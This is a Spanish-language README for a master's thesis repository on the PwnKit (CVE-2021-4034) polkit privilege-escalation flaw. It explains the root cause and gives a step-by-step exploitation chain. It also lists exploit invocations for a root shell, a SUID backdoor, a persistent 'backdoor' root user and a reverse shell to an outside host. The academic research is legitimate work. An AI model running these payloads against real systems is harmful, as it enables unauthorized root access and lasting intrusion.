CVE-2021-4034 — PwnKit Escalada de Privilegios Local · Investigación de Tesis de Máster

Vulnerabilidad de corrupción de memoria en la utilidad pkexec de polkit
Escalada de privilegios local → root mediante escritura fuera de límites
Afectado: polkit 0.105-31 y anteriores · Parche: polkit 0.105-33 (enero de 2022)

Shell interactiva de root obtenida a través de CVE-2021-4034 - PwnKit

Descripción

Este repositorio contiene mi investigación de Tesis de Máster sobre CVE-2021-4034, una vulnerabilidad de Escalada de Privilegios Local de gravedad Alta (CVSS 7.8) en la utilidad pkexec de polkit, comúnmente conocida como PwnKit.

La vulnerabilidad se origina por una escritura fuera de límites en la lógica de procesamiento de argumentos de pkexec. Cuando pkexec se ejecuta con argv vacío o manipulado, lee y escribe más allá de los límites del arreglo argv dentro del arreglo envp, permitiendo a un usuario local no privilegiado inyectar variables de entorno maliciosas que posteriormente se cargan como una biblioteca compartida, ejecutando código arbitrario con privilegios de root.

Mi contribución

Estructura del repositorio

CVE-2021-4034/
├── README.md                        # Este archivo
├── LICENSE                          # Licencia MIT
│
├── exploit/
│   └── pwnkit.py                    # Exploit avanzado con múltiples payloads
│
└── docs/
    ├── screenshots/                 # Demostraciones de explotación
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Análisis de causa raíz de la vulnerabilidad
        ├── 02-exploitation-chain.md # Desglose de la cadena de explotación
        └── 03-timeline.md           # Cronograma del CVE

Inicio rápido

Requisitos previos

• Sistema Linux con polkit vulnerable (pkexec --version muestra 0.105 o anterior)
• Compilador GCC (apt install gcc)
• Python 3.6+
• Cuenta de usuario estándar (no se requiere root)
• Se recomienda una máquina virtual aislada para las pruebas

Uso

# Shell interactiva de root (por defecto)
python3 exploit/pwnkit.py -p shell

# Verificar contexto de ejecución
python3 exploit/pwnkit.py -p whoami

# Ejecutar un comando personalizado como root
python3 exploit/pwnkit.py -p custom -c "id"

# Crear backdoor SUID en /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Añadir usuario root persistente
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mipassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Referencia de payloads

Resumen técnico

Causa raíz de la vulnerabilidad

pkexec procesa su propio argv para localizar el programa a ejecutar. Cuando se invoca con argc == 0 (vector de argumentos vacío), la comprobación de límites sobre argv falla silenciosamente. La posterior lectura fuera de límites trata a envp[0] como argv[1], y la escritura fuera de límites de vuelta a envp permite a un atacante reemplazar una variable de entorno con una ruta manipulada. Cuando pkexec llama posteriormente a g_printerr(), carga GCONV_PATH desde el entorno ahora controlado por el atacante, cargando una biblioteca compartida proporcionada por el atacante con privilegios de root.

argc == 0  →  argv[1] lee envp[0]
             argv[1] = "GCONV_PATH=."  (escribe de vuelta en envp)
             pkexec carga ./pwnkit.so  (biblioteca compartida controlada por el atacante)
             gconv_init() se ejecuta como root

Cadena de explotación

1. Crear argv = { NULL }  →  argc = 0, desencadena acceso fuera de límites
2. Establecer envp[0] = "pwnkit.so:."
3. Establecer envp[1] = "PATH=GCONV_PATH=."
4. pkexec escribe fuera de límites "pwnkit.so:." en envp[0] como si fuera argv[1]
5. pkexec resuelve GCONV_PATH=. y carga gconv-modules
6. gconv-modules mapea el conjunto de caracteres "PWNKIT" a pwnkit.so
7. Se llama a pwnkit.so:gconv_init() con privilegios de root
8. El payload se ejecuta (shell / backdoor / reverse shell / etc.)

Detalles técnicos clave

Demostraciones

Shell interactiva de root

Verificación de ID

Verificación de whoami

Backdoor SUID

Añadir usuario root

Reverse shell

Comando personalizado

Pruebas empíricas

Todas las pruebas se realizaron en una máquina virtual VirtualBox aislada con Ubuntu 20.04 LTS y polkit 0.105-26 (vulnerable), sin exposición a la red.

Documentación técnica

Contexto académico

Esta investigación es parte de mi Tesis de Máster en Ciberseguridad (UCAM — Campus Internacional de Ciberseguridad), analizando vulnerabilidades N-Day en múltiples entornos.

Este CVE representa el vector de escalada de privilegios local en Linux dentro de la tesis, demostrando:

• Vulnerabilidades de seguridad de memoria en binarios SUID
• Explotación de escritura fuera de límites mediante manipulación de variables de entorno
• Inyección de bibliotecas compartidas a través de la infraestructura iconv de glibc
• Diseño de un framework de post-explotación multipayload

Palabras clave: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit

Autora

Annais Molina (devianntsec) — Estudiante de Máster en Ciberseguridad

Agradecimientos

• Equipo de Investigación de Qualys — Descubrimiento original y divulgación responsable
• arthepsy — Prueba de concepto temprana de referencia
• berdav — Implementación de PoC pública de referencia

Licencia

Licencia MIT — ver LICENSE

Aviso legal

Este repositorio se proporciona únicamente con fines educativos y de investigación en seguridad, como parte de una Tesis de Máster académica. Todas las pruebas se realizaron en máquinas virtuales aisladas sin exposición a la red. Úselo solo en sistemas de su propiedad o para los que tenga autorización escrita explícita para realizar pruebas. El uso no autorizado contra sistemas es ilegal y puede dar lugar a un proceso penal.